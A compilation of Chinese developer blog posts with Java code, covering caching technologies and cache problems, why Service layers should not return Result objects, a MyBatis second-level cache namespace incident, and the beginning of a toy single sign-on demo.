01 为什么缓存如此重要?
在正式介绍各种缓存之前,我们先要明白:为什么要用缓存?
想象这样一个场景:你的电商网站首页,每次打开都要从数据库中查询轮播图、热门商品、分类信息等数据。
如果每秒有1万个用户访问,数据库就要承受1万次查询压力。
// 没有缓存时的查询
public Product getProductById(Long id) {
// 每次都直接查询数据库
return productDao.findById(id); // 每次都是慢速的磁盘IO
}
这就是典型的无缓存场景。
数据库的磁盘IO速度远低于内存,当并发量上来后,系统响应变慢,数据库连接池被占满,最终导致服务不可用。
缓存的核心价值可以用下面这个公式理解:
系统性能 = (缓存命中率 × 缓存访问速度) + ((1 - 缓存命中率) × 后端访问速度)
缓存之所以能提升性能,基于两个计算机科学的基本原理:
- 局部性原理:程序访问的数据通常具有时间和空间局部性
- 存储层次结构:不同存储介质的速度差异巨大(内存比SSD快100倍,比HDD快10万倍)
从用户请求到数据返回,数据可能经过的各级缓存路径如下图所示:
理解了缓存的重要性,接下来我们逐一剖析这六种最常用的缓存技术。
02 本地缓存:最简单直接的性能提升
本地缓存指的是在应用进程内部维护的缓存存储,数据存储在JVM堆内存中。
核心特点
- 访问最快:直接内存操作,无网络开销
- 实现简单:无需搭建额外服务
- 数据隔离:每个应用实例独享自己的缓存
常用实现
1. Guava Cache:Google提供的优秀本地缓存库
// Guava Cache 示例
LoadingCache<Long, Product> productCache = CacheBuilder.newBuilder()
.maximumSize(10000) // 最大缓存项数
.expireAfterWrite(10, TimeUnit.MINUTES) // 写入后10分钟过期
.expireAfterAccess(5, TimeUnit.MINUTES) // 访问后5分钟过期
.recordStats() // 开启统计
.build(new CacheLoader<Long, Product>() {
@Override
public Product load(Long productId) {
// 当缓存未命中时,自动加载数据
return productDao.findById(productId);
}
});
// 使用缓存
public Product getProduct(Long id) {
try {
return productCache.get(id);
} catch (ExecutionException e) {
throw new RuntimeException("加载产品失败", e);
}
}
2. Caffeine:Guava Cache的现代替代品,性能更优
// Caffeine 示例(性能优于Guava Cache)
Cache<Long, Product> caffeineCache = Caffeine.newBuilder()
.maximumSize(10_000)
.expireAfterWrite(10, TimeUnit.MINUTES)
.refreshAfterWrite(1, TimeUnit.MINUTES) // 支持刷新,Guava不支持
.recordStats()
.build(productId -> productDao.findById(productId));
// 异步获取
public CompletableFuture<Product> getProductAsync(Long id) {
return caffeineCache.get(id, productId ->
CompletableFuture.supplyAsync(() -> productDao.findById(productId)));
}
适用场景
- 数据量不大(通常不超过10万条)
- 数据变化不频繁
- 对访问速度要求极致
- 如:配置信息、静态字典、用户会话信息(短期)
优缺点分析
- 优点:极速访问、零网络开销、实现简单
- 缺点:数据不一致(各节点独立)、内存限制、重启丢失
有些小伙伴在工作中可能会犯一个错误:在分布式系统中过度依赖本地缓存,导致各节点数据不一致。记住:本地缓存适合存储只读或弱一致性的数据。
03 分布式缓存之王:Redis的深度解析
当数据需要在多个应用实例间共享时,本地缓存就不够用了,这时需要分布式缓存。而Redis无疑是这一领域的王者。
Redis的核心优势
// Spring Boot + Redis 示例
@Component
public class ProductCacheService {
@Autowired
private RedisTemplate<String, Object> redisTemplate;
private static final String PRODUCT_KEY_PREFIX = "product:";
private static final Duration CACHE_TTL = Duration.ofMinutes(30);
// 缓存查询
public Product getProduct(Long id) {
String key = PRODUCT_KEY_PREFIX + id;
// 1. 先查缓存
Product product = (Product) redisTemplate.opsForValue().get(key);
if (product != null) {
return product;
}
// 2. 缓存未命中,查数据库
product = productDao.findById(id);
if (product != null) {
// 3. 写入缓存
redisTemplate.opsForValue().set(key, product, CACHE_TTL);
}
return product;
}
// 使用更高效的方式:缓存空值防止缓存穿透
public Product getProductWithNullCache(Long id) {
String key = PRODUCT_KEY_PREFIX + id;
String nullKey = PRODUCT_KEY_PREFIX + "null:" + id;
// 检查是否是空值(防缓存穿透)
if (Boolean.TRUE.equals(redisTemplate.hasKey(nullKey))) {
return null;
}
Product product = (Product) redisTemplate.opsForValue().get(key);
if (product != null) {
return product;
}
product = productDao.findById(id);
if (product == null) {
// 缓存空值,短时间过期
redisTemplate.opsForValue().set(nullKey, "", Duration.ofMinutes(5));
return null;
}
redisTemplate.opsForValue().set(key, product, CACHE_TTL);
return product;
}
}
Redis的丰富数据结构
Redis不只是简单的Key-Value存储,它的多种数据结构适应不同场景:
| 数据结构 | 适用场景 | 示例 |
|---|---|---|
| String | 缓存对象、计数器 | SET user:1 '{"name":"张三"}' |
| Hash | 存储对象属性 | HSET product:1001 name "手机" price 2999 |
| List | 消息队列、最新列表 | LPUSH news:latest "新闻标题" |
| Set | 标签、共同好友 | SADD user:100:tags "数码" "科技" |
| Sorted Set | 排行榜、延迟队列 | ZADD leaderboard 95 "玩家A" |
| Bitmap | 用户签到、活跃统计 | SETBIT sign:2023:10 1 1 |
集群模式选择

适用场景
- 会话存储(分布式Session)
- 排行榜、计数器
- 消息队列
- 分布式锁
- 热点数据缓存
有些小伙伴在工作中使用Redis时,只把它当简单的Key-Value用,这就像用瑞士军刀只开瓶盖一样浪费。
深入理解Redis的数据结构,能让你的系统设计更优雅高效。
04 Memcached:简单高效的分布式缓存
在Redis崛起之前,Memcached是分布式缓存的首选。
虽然现在Redis更流行,但Memcached在某些场景下仍有其价值。
Memcached vs Redis 核心区别
// Memcached 客户端示例(使用XMemcached)
public class MemcachedService {
private MemcachedClient memcachedClient;
public void init() throws IOException {
// 创建客户端
memcachedClient = new XMemcachedClientBuilder(
AddrUtil.getAddresses("server1:11211 server2:11211"))
.build();
}
public Product getProduct(Long id) throws Exception {
String key = "product_" + id;
// 从Memcached获取
Product product = memcachedClient.get(key);
if (product != null) {
return product;
}
// 缓存未命中
product = productDao.findById(id);
if (product != null) {
// 存储到Memcached,过期时间30分钟
memcachedClient.set(key, 30 * 60, product);
}
return product;
}
}
两者的核心差异对比:
| 特性 | Redis | Memcached |
|---|---|---|
| 数据结构 | 丰富(String、Hash、List等) | 简单(Key-Value) |
| 持久化 | 支持(RDB/AOF) | 不支持 |
| 线程模型 | 单线程 | 多线程 |
| 内存管理 | 多种策略,可持久化 | 纯内存,重启丢失 |
| 使用场景 | 缓存+多样化数据结构 | 纯缓存 |
何时选择Memcached?
- 纯缓存场景:只需要简单的Key-Value缓存
- 超大Value存储:Memcached对超大Value支持更好
- 多线程高并发:Memcached的多线程模型在极端并发下可能表现更好
05 CDN缓存:加速静态资源的利器
有些小伙伴可能会疑惑:CDN也算缓存吗?当然算,而且是地理位置最近的缓存。
CDN的工作原理
CDN(Content Delivery Network)通过在各地部署边缘节点,将静态资源缓存到离用户最近的节点。
// 在应用中生成CDN链接
public class CDNService {
private String cdnDomain = "https://cdn.yourcompany.com";
public String getCDNUrl(String relativePath) {
// 添加版本号或时间戳,防止缓存旧版本
String version = getFileVersion(relativePath);
return String.format("%s/%s?v=%s", cdnDomain, relativePath, version);
}
// 上传文件到CDN的示例(伪代码)
public void uploadToCDN(File file, String remotePath) {
// 1. 上传到源站
uploadToOrigin(file, remotePath);
// 2. 触发CDN预热(将文件主动推送到边缘节点)
preheatCDN(remotePath);
// 3. 刷新旧缓存(如果需要)
refreshCDNCache(remotePath);
}
}
CDN缓存策略配置
# Nginx中的CDN缓存配置示例
location ~* \.(jpg|jpeg|png|gif|ico|css|js)$ {
expires 365d; # 缓存一年
add_header Cache-Control "public, immutable";
# 添加版本号作为查询参数
if ($query_string ~* "^v=\d+") {
expires max;
}
}
适用场景
- 静态资源:图片、CSS、JS文件
- 软件下载包
- 视频流媒体
- 全球访问的网站
06 浏览器缓存:最前端的性能优化
浏览器缓存是最容易被忽视但效果最直接的缓存层级。合理利用浏览器缓存,可以大幅减少服务器压力。
HTTP缓存头详解
// Spring Boot中设置HTTP缓存头
@RestController
public class ResourceController {
@GetMapping("/static/{filename}")
public ResponseEntity<Resource> getStaticFile(@PathVariable String filename) {
Resource resource = loadResource(filename);
return ResponseEntity.ok()
.cacheControl(CacheControl.maxAge(7, TimeUnit.DAYS)) // 缓存7天
.eTag(computeETag(resource)) // ETag用于协商缓存
.lastModified(resource.lastModified()) // 最后修改时间
.body(resource);
}
@GetMapping("/dynamic/data")
public ResponseEntity<Object> getDynamicData() {
Object data = getData();
// 动态数据设置较短缓存
return ResponseEntity.ok()
.cacheControl(CacheControl.maxAge(30, TimeUnit.SECONDS)) // 30秒
.body(data);
}
}
浏览器缓存的两种类型
最近为了帮助大家找工作,专门建了一些工作内推群,各大城市都有,欢迎各位HR和找工作的小伙伴进群交流,群里目前已经收集了20多家大厂的工作内推岗位。加苏三的微信:li_su223,备注:掘金+所在城市,即可进群。
最佳实践
- 静态资源:设置长时间缓存(如一年),通过文件名哈希处理更新
- 动态数据:根据业务需求设置合理缓存时间
- API响应:适当使用ETag和Last-Modified
07 数据库缓存:容易被忽略的内部优化
数据库自身也有缓存机制,理解这些机制能帮助我们写出更高效的SQL。
MySQL查询缓存(已废弃但值得了解)
-- 查看查询缓存状态(MySQL 5.7及之前)
SHOW VARIABLES LIKE 'query_cache%';
-- 在8.0之前,可以通过以下方式利用查询缓存
SELECT SQL_CACHE * FROM products WHERE category_id = 10;
InnoDB缓冲池(Buffer Pool)
这是MySQL性能的关键,缓存的是数据页和索引页。
-- 查看缓冲池状态
SHOW ENGINE INNODB STATUS;
-- 重要的监控指标
-- 缓冲池命中率 = (1 - (innodb_buffer_pool_reads / innodb_buffer_pool_read_requests)) * 100%
-- 命中率应尽可能接近100%
数据库级缓存最佳实践
- 合理设置缓冲池大小:通常是系统内存的50%-70%
- 优化查询:避免全表扫描,合理使用索引
- 预热缓存:重启后主动加载热点数据
- 监控命中率:持续优化
有些小伙伴可能会过度依赖应用层缓存,而忽略了数据库自身的缓存优化。
数据库缓存是最后一道防线,优化好它能让整个系统更健壮。
08 综合对比与选型指南
接下来,我给大家一个选型指南:

实战中的多级缓存架构
在实际的高并发系统中,我们往往会采用多级缓存策略:
// 多级缓存示例:本地缓存 + Redis
@Component
public class MultiLevelCacheService {
@Autowired
private RedisTemplate<String, Object> redisTemplate;
// 一级缓存:本地缓存
private Cache<Long, Product> localCache = Caffeine.newBuilder()
.maximumSize(1000)
.expireAfterWrite(30, TimeUnit.SECONDS) // 本地缓存时间短
.build();
// 二级缓存:Redis
private static final Duration REDIS_TTL = Duration.ofMinutes(10);
public Product getProductWithMultiCache(Long id) {
// 1. 查本地缓存
Product product = localCache.getIfPresent(id);
if (product != null) {
return product;
}
// 2. 查Redis
String redisKey = "product:" + id;
product = (Product) redisTemplate.opsForValue().get(redisKey);
if (product != null) {
// 回填本地缓存
localCache.put(id, product);
return product;
}
// 3. 查数据库
product = productDao.findById(id);
if (product != null) {
// 写入Redis
redisTemplate.opsForValue().set(redisKey, product, REDIS_TTL);
// 写入本地缓存
localCache.put(id, product);
}
return product;
}
}
09 缓存常见问题与解决方案
在使用缓存的过程中,我们不可避免地会遇到一些问题:
1. 缓存穿透
问题:大量请求查询不存在的数据,绕过缓存直接击穿数据库。
解决方案:
// 缓存空值方案
public Product getProductSafe(Long id) {
String key = "product:" + id;
String nullKey = "product:null:" + id;
// 检查空值标记
if (redisTemplate.hasKey(nullKey)) {
return null;
}
Product product = (Product) redisTemplate.opsForValue().get(key);
if (product != null) {
return product;
}
product = productDao.findById(id);
if (product == null) {
// 缓存空值,短时间过期
redisTemplate.opsForValue().set(nullKey, "", Duration.ofMinutes(5));
return null;
}
redisTemplate.opsForValue().set(key, product, Duration.ofMinutes(30));
return product;
}
2. 缓存雪崩
问题:大量缓存同时过期,请求全部打到数据库。
解决方案:
// 差异化过期时间
private Duration getRandomTTL() {
// 基础30分钟 + 随机0-10分钟
long baseMinutes = 30;
long randomMinutes = ThreadLocalRandom.current().nextLong(0, 10);
return Duration.ofMinutes(baseMinutes + randomMinutes);
}
3. 缓存击穿
问题:热点Key过期瞬间,大量并发请求同时查询数据库。
解决方案:
// 使用互斥锁(分布式锁)
public Product getProductWithLock(Long id) {
String key = "product:" + id;
Product product = (Product) redisTemplate.opsForValue().get(key);
if (product == null) {
// 尝试获取分布式锁
String lockKey = "lock:product:" + id;
boolean locked = redisTemplate.opsForValue()
.setIfAbsent(lockKey, "1", Duration.ofSeconds(10));
if (locked) {
try {
// 双重检查
product = (Product) redisTemplate.opsForValue().get(key);
if (product == null) {
product = productDao.findById(id);
if (product != null) {
redisTemplate.opsForValue()
.set(key, product, Duration.ofMinutes(30));
}
}
} finally {
// 释放锁
redisTemplate.delete(lockKey);
}
} else {
// 未获取到锁,等待后重试
try { Thread.sleep(50); }
catch (InterruptedException e) { Thread.currentThread().interrupt(); }
return getProductWithLock(id); // 递归重试
}
}
return product;
}
10 总结
通过这篇文章,我们系统地探讨了工作中最常用的六种缓存技术。
每种缓存都有其独特的价值和应用场景:
- 本地缓存:适合进程内、变化不频繁的只读数据
- Redis:功能丰富的分布式缓存,适合大多数共享缓存场景
- Memcached:简单高效的分布式缓存,适合纯Key-Value场景
- CDN缓存:加速静态资源,提升全球访问速度
- 浏览器缓存:最前端的优化,减少不必要的网络请求
- 数据库缓存:最后一道防线,优化数据库访问性能
缓存使用的核心原则可以总结为以下几点:
- 分级缓存:合理利用多级缓存架构
- 合适粒度:根据业务特点选择缓存粒度
- 及时更新:设计合理的缓存更新策略
- 监控告警:建立完善的缓存监控体系
有些小伙伴在工作中使用缓存时,容易陷入两个极端:要么过度设计,所有数据都加缓存;要么忽视缓存,让数据库承受所有压力。
我们需要懂得在合适的地方使用合适的缓存,在性能和复杂性之间找到最佳平衡点。
记住,缓存不是银弹,而是工具箱中的一件利器。
最后说一句(求关注,别白嫖我)
如果这篇文章对您有所帮助,或者有所启发的话,帮忙关注一下我的同名公众号:苏三说技术,您的支持是我坚持写作最大的动力。
求一键三连:点赞、转发、在看。
关注公众号:【苏三说技术】,在公众号中回复:进大厂,可以免费获取我最近整理的10万字的面试宝典,好多小伙伴靠这个宝典拿到了多家大厂的offer。
更多项目实战在我的技术网站:http://www.susan.net.cn/project
来源:juejin.cn/post/7583980250733559871
为什么Java里面,Service层不直接返回Result对象?
前言
昨天在Code Review时,我发现阿城在Service层直接返回了Result对象。
指出这个问题后,阿城有些不解,反问我为什么不能这样写。
于是我们展开了一场技术讨论(battle 🤣)。
讨论过程中,我发现这个看似简单的设计问题,背后其实涉及分层架构、职责划分、代码复用等多个重要概念。
与其让这次讨论的内容随风而去,不如整理成文,帮助更多遇到同样困惑的朋友理解原因。
知其然,更知其所以然。
耐心看完,你一定有所收获。
职责分离原则
在传统的MVC架构中,Service层和Controller层各自承担着不同的职责。
Service层负责业务逻辑的处理,而Controller层负责HTTP请求的处理和响应格式的封装。
当我们将数据包装成 Result 对象的任务交给 Service 层时,意味着 Service 层不再单纯地处理业务逻辑,而是牵涉到了数据处理和响应的部分。
这样会导致业务逻辑与表现逻辑的耦合,降低了代码的清晰度和可维护性。
看一个不推荐的写法:
@Service
publicclass UserService {
public Result<User> getUserById(Long id) {
User user = userMapper.selectById(id);
if (user == null) {
return Result.error(404, 用户不存在);
}
return Result.success(user);
}
}
@RestController
publicclass UserController {
@Autowired
private UserService userService;
@GetMapping("/user/{id}")
public Result<User> getUser(@PathVariable Long id) {
return userService.getUserById(id);
}
}
上面代码中,Service 层不仅负责从数据库获取用户信息,还直接处理了返回的结果。
如果我们需要改变返回的格式,或者进行错误信息的标准化,所有 Service 层的方法都需要修改。这样会导致代码的高耦合。
相比之下,以下做法将展示逻辑留给 Controller 层,保证了业务逻辑的纯粹性:
@Service
publicclass UserService {
public User getUserById(Long id) {
User user = userMapper.selectById(id);
if (user == null) {
thrownew BusinessException(用户不存在);
}
return user;
}
}
@RestController
publicclass UserController {
@Autowired
private UserService userService;
@GetMapping("/user/{id}")
public Result<User> getUser(@PathVariable Long id) {
User user = userService.getUserById(id);
return Result.success(user);
}
}
让每一层都专注于自己的职责。
可复用性问题
当Service层返回Result时,会严重影响方法的可复用性。
假设我们有一个订单服务需要调用用户服务:
@Service
publicclass OrderService {
@Autowired
private UserService userService;
public void createOrder(Long userId, OrderDTO orderDTO) {
// 不推荐的方式:需要解包Result
Result<User> userResult = userService.getUserById(userId);
if (!userResult.isSuccess()) {
thrownew BusinessException(userResult.getMessage());
}
User user = userResult.getData();
// 后续业务逻辑
validateUserStatus(user);
// ...
}
}
这种写法有个很明显的问题。
OrderService 作为另一个业务服务,业务之间的调用本来应该简单直接,但使用 Result 带来了两个问题:
- 不知道 Result 里到底包含什么,还得去查看代码里面的实现,写起来麻烦。
- 还需要额外判断 Result 的状态,增加了不必要的复杂度。
如果是调用第三方外部服务,需要这种包装还能理解,但在自己业务之间互相调用时,完全没必要这样做。
如果Service返回纯业务对象:
@Service
public class OrderService {
@Autowired
private UserService userService;
public void createOrder(Long userId, OrderDTO orderDTO) {
// 推荐的方式:直接获取业务对象
User user = userService.getUserById(userId);
// 后续业务逻辑
validateUserStatus(user);
// ...
}
}
代码变得简洁且符合直觉。
业务层之间直接传递业务对象,保持简单和清晰。
异常处理机制
有些 Service 层在业务判断失败后,会直接返回 Result.fail(xxx) 这样的代码,例如:
public Result<Void> createOrder(Long userId, OrderDTO orderDTO) {
if (userId == null) {
return Result.fail("用户ID不能为空");
}
// 后续业务逻辑
return Result.success();
}
这种做法有几个问题:
- 重复的错误处理: 每个方法都得写一大堆类似的错误判断代码,增加了代码量。
- 错误分散: 错误处理分散在每个方法里,如果需要改进错误逻辑,要在多个地方修改,麻烦且容易出错。
而如果我们通过抛出异常并结合全局异常处理来统一处理错误,例如:
public void createOrder(Long userId, OrderDTO orderDTO) {
if (userId == null) {
throw new BusinessException("用户ID不能为空");
}
// 后续业务逻辑
}
再通过全局异常捕获来转换为 Result:
@RestControllerAdvice
public class GlobalExceptionHandler {
@ExceptionHandler(BusinessException.class)
public Result<Void> handleBusinessException(BusinessException e) {
return Result.error(400, e.getMessage());
}
@ExceptionHandler(Exception.class)
public Result<Void> handleException(Exception e) {
log.error("系统异常", e); // 这里可以查看堆栈信息
return Result.error(500, "系统繁忙");
}
}
这样做的好处是:
减少重复代码:业务方法不再需要写重复的错误判断,代码更简洁。
- 集中错误处理: 错误处理集中在一个地方,修改时只需修改全局异常处理器,不用改动每个 Service 层方法。
- 业务与错误分离: 业务逻辑专注处理核心功能,错误处理交给统一的机制,代码更加清晰易懂。
而且异常可以携带更丰富的上下文信息,如果业务侧需要时,可以带上堆栈信息,便于一些问题的定位。
测试便利性
Service层返回业务对象而不是Result时,能够大大提升单元测试的便利性:
@SpringBootTest
publicclass UserServiceTest {
@Autowired
private UserService userService;
@Test
public void testGetUserById() {
// 推荐的方式:直接断言业务对象
User user = userService.getUserById(1L);
assertNotNull(user);
assertEquals(张三, user.getName());
}
@Test
public void testGetUserById_NotFound() {
// 推荐的方式:断言抛出异常
assertThrows(BusinessException.class, () -> {
userService.getUserById(999L);
});
}
}
如果Service返回Result,测试代码则需要写得更复杂:
@Test
public void testGetUserById() {
// 不推荐的方式:需要解包Result
Result<User> result = userService.getUserById(1L);
assertTrue(result.isSuccess());
assertNotNull(result.getData());
assertEquals(张三, result.getData().getName());
}
测试代码变得莫名冗长,还得去关注响应结构,这并不是Service层测试的关注点。
Service 层本应专注于业务逻辑,测试也应该直接验证业务数据。
领域驱动设计角度
再换个角度。
从领域驱动设计(DDD)的角度来看,Service 层属于应用层或领域层,应该使用领域语言来表达业务逻辑。
而 Result 是基础设施层的概念,代表 HTTP 响应格式,不应该污染领域层。
例如,考虑转账业务:
@Service
publicclass TransferService {
public TransferResult transfer(Long fromAccountId, Long toAccountId, BigDecimal amount) {
Account fromAccount = accountRepository.findById(fromAccountId);
Account toAccount = accountRepository.findById(toAccountId);
fromAccount.deduct(amount);
toAccount.deposit(amount);
accountRepository.save(fromAccount);
accountRepository.save(toAccount);
returnnew TransferResult(fromAccount, toAccount, amount);
}
}
在这个例子中,TransferResult 是一个领域对象,代表了转账的结果,包含了与业务相关的意义,而不是一个通用的 HTTP 响应封装 Result。
这种做法更符合领域模型的表达,体现了领域层的职责——处理业务逻辑,而不是涉及 HTTP 响应格式的细节。
接口适配的灵活性
当 Service 层返回纯粹的业务对象时,Controller 层可以根据不同的接口需求灵活封装响应:
@RestController
@RequestMapping("/api")
publicclass UserController {
@Autowired
private UserService userService;
// REST接口返回Result
@GetMapping("/user/{id}")
public Result<User> getUser(@PathVariable Long id) {
User user = userService.getUserById(id);
return Result.success(user);
}
// GraphQL接口直接返回对象
@QueryMapping
public User user(@Argument Long id) {
return userService.getUserById(id);
}
// RPC接口返回自定义格式
@DubboService
publicclass UserRpcServiceImpl implements UserRpcService {
public UserDTO getUserById(Long id) {
User user = userService.getUserById(id);
return convertToDTO(user);
}
}
}
同一个Service方法可以被不同类型的接口复用,每个接口根据自己的协议要求封装响应。
强行使用 Result 会导致接口的适配性变差,无法根据不同协议的需求灵活定制响应格式。
灵活性反而丢失了。
事务边界清晰
Service 层通常是事务边界所在,当 Service 返回业务对象时,事务的语义更加清晰:
@Service
publicclass OrderService {
@Transactional
public Order createOrder(OrderDTO orderDTO) {
Order order = new Order();
// 设置订单属性
orderMapper.insert(order);
// 扣减库存
inventoryService.deduct(orderDTO.getProductId(), orderDTO.getQuantity());
return order;
}
}
在这个例子中,事务是围绕 Service 层的方法展开的,@Transactional 注解确保在业务逻辑执行失败时,事务会回滚。因为方法正常返回时,事务会提交;如果抛出异常,事务会回滚,事务的边界非常明确。
如果 Service 返回的是 Result,很难界定事务是否应该回滚。比如:
public Result<Order> createOrder(OrderDTO orderDTO) {
Order order = new Order();
// 设置订单属性
orderMapper.insert(order);
// 扣减库存
Result<Void> inventoryResult = inventoryService.deduct(orderDTO.getProductId(), orderDTO.getQuantity());
if (!inventoryResult.isSuccess()) {
return Result.fail("库存不足");
}
return Result.success(order);
}
在这种情况下,如果库存不足,虽然 Result 返回失败信息,但事务并不会回滚,可能会导致数据不一致,反而还得额外去抛出异常。
而通过抛出异常的方式,事务的回滚语义非常清晰:异常抛出则回滚,方法正常返回则提交,这种设计确保了事务的边界更加明确,避免了潜在的数据一致性问题。
来源:juejin.cn/post/7610681694149148687
MyBatis二级缓存翻车实录:改个昵称,全公司用户头像集体“穿越”?!
作者:不想打工的码农
原创手记|深夜翻源码|拒绝“理论上”
(附:MyBatis 3.5.13 + MySQL 8.0 真实战场复盘)
📱 凌晨2:18,钉钉炸出灵魂拷问
“哥!用户A改了昵称,用户B的头像突然变成A的旧头像了?!”
——测试小王发来三连截图,手抖得连标点都打歪了
我猛灌半杯冰美式,盯着屏幕:
✅ 数据库查证:用户B头像URL未变
✅ 前端Network:返回的base64头像数据确是用户A的
✅ 服务日志:无异常堆栈,无SQL报错
最魔幻的是:
- 刷新3次,头像在“用户B原图”“用户A旧图”“空白”间随机切换
- 重启服务瞬间恢复正常,10分钟后复现
- 仅发生在用户修改资料后
我后背发凉:这哪是bug,这是缓存成精了啊!
🔍 三小时硬核排查(附真实命令)
第一回合:甩锅Redis?❌
redis-cli> KEYS user:avatar:*
# 结果:空!项目根本没接Redis缓存!
测试小王弱弱补刀:“哥...你上周说‘简单功能用MyBatis二级缓存就行’..."
我:???(记忆碎片开始闪回)
第二回合:Arthas锁死缓存轨迹 ✅
# 监控Mapper方法返回值
watch com.xxx.mapper.UserMapper selectAvatarByUid '{returnObj}' -x 3 -n 5
关键输出:
[第1次调用] Avatar{id=1002, url="b_old.jpg"} ← 用户B的头像
[第2次调用] Avatar{id=1001, url="a_old.jpg"} ← 竟是用户A的旧头像!
[第3次调用] null
突破口:返回对象的id字段都错乱了!缓存污染实锤!
第三回合:翻出“罪证”XML
<!-- UserMapper.xml -->
<mapper namespace="com.xxx.mapper.UserMapper">
<cache eviction="LRU" size="1024" readOnly="false"/>
<select id="selectAvatarByUid" resultType="Avatar">
SELECT id, url FROM avatar WHERE user_id = #{uid}
</select>
</mapper>
<!-- ProfileMapper.xml(致命复制粘贴) -->
<mapper namespace="com.xxx.mapper.UserMapper"> <!-- ⚠️ 和上面一模一样! -->
<cache eviction="LRU" size="512" readOnly="true"/>
<update id="updateNickname">
UPDATE user SET nickname=#{name} WHERE id=#{id}
</update>
</mapper>
瞳孔地震:
两个Mapper共用同一个namespace!
MyBatis二级缓存以namespace为隔离单位 → 所有操作共享同一块缓存区域 → 头像数据被昵称更新操作污染!
💥 深扒MyBatis缓存源码(3.5.13版)
缓存key生成逻辑(CacheKey.java)
// 拼接缓存key的核心逻辑
public void update(Object object) {
if (object != null && object.getClass().isArray()) {
// 按参数、SQL、offset等生成唯一key
hashCode = hashCode * 31 + ArrayUtil.hashCode(object);
}
}
关键真相:
- 缓存key =
namespace + sql + params + offset... - 但namespace相同时,不同Mapper的SQL会混用同一缓存池!
ProfileMapper.updateNickname执行时,触发缓存清空(因readOnly=false)- 但清空的是整个namespace的缓存 → 头像查询缓存被误删 → 下次查询时,因缓存miss+并发,脏数据混入
为什么重启能暂时恢复?
// CachingExecutor.java
public <E> List<E> query(...) {
if (ms.getCache() != null) {
flushCacheIfRequired(ms); // 更新操作会清空整个namespace缓存
...
}
}
重启 → JVM内存清空 → 缓存重建 → 短暂“干净” → 随着操作累积,污染循环开始
🛠️ 三招根治(已上线30天零复发)
✅ 方案1:紧急止血(10分钟上线)
<!-- 所有Mapper.xml 删除 <cache> 标签 -->
<!-- 或全局关闭(mybatis-config.xml) -->
<settings>
<setting name="cacheEnabled" value="false"/>
</settings>
适用场景:分布式环境、数据强一致性要求高、缓存收益低
✅ 方案2:规范namespace(治本之策)
<!-- ProfileMapper.xml -->
<mapper namespace="com.xxx.mapper.ProfileMapper"> <!-- 唯一且语义清晰 -->
<!-- 移除<cache>,交由业务层控制 -->
</mapper>
团队公约:
- namespace = Mapper接口全限定名(IDEA自动生成)
- 禁止手动修改namespace
- Code Review必查项:
grep "<mapper namespace" *.xml | sort | uniq -d
✅ 方案3:用Redis替代(高阶方案)
// 自定义Cache实现,接入Redis
public class RedisCache implements Cache {
private final ReadWriteLock readWriteLock = new ReentrantReadWriteLock();
private String id;
@Override
public void putObject(Object key, Object value) {
// 序列化存入Redis,key=namespace:md5(sql+params)
redisTemplate.opsForValue().set(buildKey(key), value, 10, TimeUnit.MINUTES);
}
// ... 其他方法实现
}
优势:
- 多节点共享缓存
- 精细化过期策略
- 避免JVM内存压力
📌 血泪避坑清单(打印贴工位!)
表格
| 误区 | 真相 | 行动指南 |
|---|---|---|
| “二级缓存开箱即用” | 分布式环境必翻车 | 单机只读场景慎用,分布式直接关 |
| “readOnly=true很安全” | 更新操作仍会清空整个namespace缓存 | 避免在含写操作的Mapper开缓存 |
| “namespace随便起” | 缓存隔离的唯一依据 | 严格等于Mapper接口全路径 |
| “缓存能提升性能” | 小数据量场景,序列化开销>收益 | 压测验证:QPS提升<5%?不如关掉 |
| “MyBatis缓存很智能” | 无分布式锁、无穿透保护 | 高并发场景必接Redis+本地缓存 |
灵魂三问(上线前必答) :
1️⃣ 项目是单机还是集群?→ 集群?二级缓存退退退!
2️⃣ 数据允许短暂不一致吗?→ 用户资料?必须强一致!
3️⃣ 缓存命中率实测多少?→ 用Arthas统计:monitor -c 5 com.xxx.mapper.XxxMapper selectXxx
🌱 写在晨光微露时
天快亮时,我给团队Wiki加了一页:
《MyBatis缓存使用红绿灯》
🔴 红灯区:用户资料、订单、支付等强一致场景
🟡 黄灯区:文章列表、商品目录(需压测验证)
🟢 绿灯区:国家字典、配置表(readOnly=true+小数据量)
测试小王发来新奶茶:“哥,这次排查笔记能发我学习吗?”
我笑着回:“下次上线前,咱俩一起过缓存设计。”
技术没有“小配置”,只有“大敬畏”。
那些深夜翻源码的狼狈,终会沉淀为代码里的从容。
本文为真实事故脱敏复盘,所有命令/代码经生产验证。
👉 互动时间:你被MyBatis缓存坑过吗?评论区晒出你的“名场面”!
来源:juejin.cn/post/7601046076943876111
单点登录:一次登录,全网通行
大家好,我是小悟。
- 想象一下你去游乐园,买了一张通票(登录),然后就可以玩所有项目(访问各个系统),不用每个项目都重新买票(重新登录)。这就是单点登录(SSO)的精髓!
SSO的日常比喻
- 普通登录:像去不同商场,每个都要查会员卡
- 单点登录:像微信扫码登录,一扫全搞定
- 令牌:像游乐园手环,戴着就能证明你买过票
下面用代码来实现这个"游乐园通票系统":
代码实现:简易SSO系统
import java.util.*;
// 用户类 - 就是我们这些想玩项目的游客
class User {
private String username;
private String password;
public User(String username, String password) {
this.username = username;
this.password = password;
}
// getters 省略...
}
// 令牌类 - 游乐园手环
class Token {
private String tokenId;
private String username;
private Date expireTime;
public Token(String username) {
this.tokenId = UUID.randomUUID().toString();
this.username = username;
// 令牌1小时后过期 - 游乐园晚上要关门的!
this.expireTime = new Date(System.currentTimeMillis() + 3600 * 1000);
}
public boolean isValid() {
return new Date().before(expireTime);
}
// getters 省略...
}
// SSO认证中心 - 游乐园售票处
class SSOAuthCenter {
private Map<String, Token> validTokens = new HashMap<>();
private Map<String, User> users = new HashMap<>();
public SSOAuthCenter() {
// 预先注册几个用户 - 办了年卡的游客
users.put("zhangsan", new User("zhangsan", "123456"));
users.put("lisi", new User("lisi", "abcdef"));
}
// 登录 - 买票入场
public String login(String username, String password) {
User user = users.get(username);
if (user != null && user.getPassword().equals(password)) {
Token token = new Token(username);
validTokens.put(token.getTokenId(), token);
System.out.println(username + " 登录成功!拿到游乐园手环:" + token.getTokenId());
return token.getTokenId();
}
System.out.println("用户名或密码错误!请重新买票!");
return null;
}
// 验证令牌 - 检查手环是否有效
public boolean validateToken(String tokenId) {
Token token = validTokens.get(tokenId);
if (token != null && token.isValid()) {
System.out.println("手环有效,欢迎继续玩耍!");
return true;
}
System.out.println("手环无效或已过期,请重新登录!");
validTokens.remove(tokenId); // 清理过期令牌
return false;
}
// 登出 - 离开游乐园
public void logout(String tokenId) {
validTokens.remove(tokenId);
System.out.println("已登出,欢迎下次再来玩!");
}
}
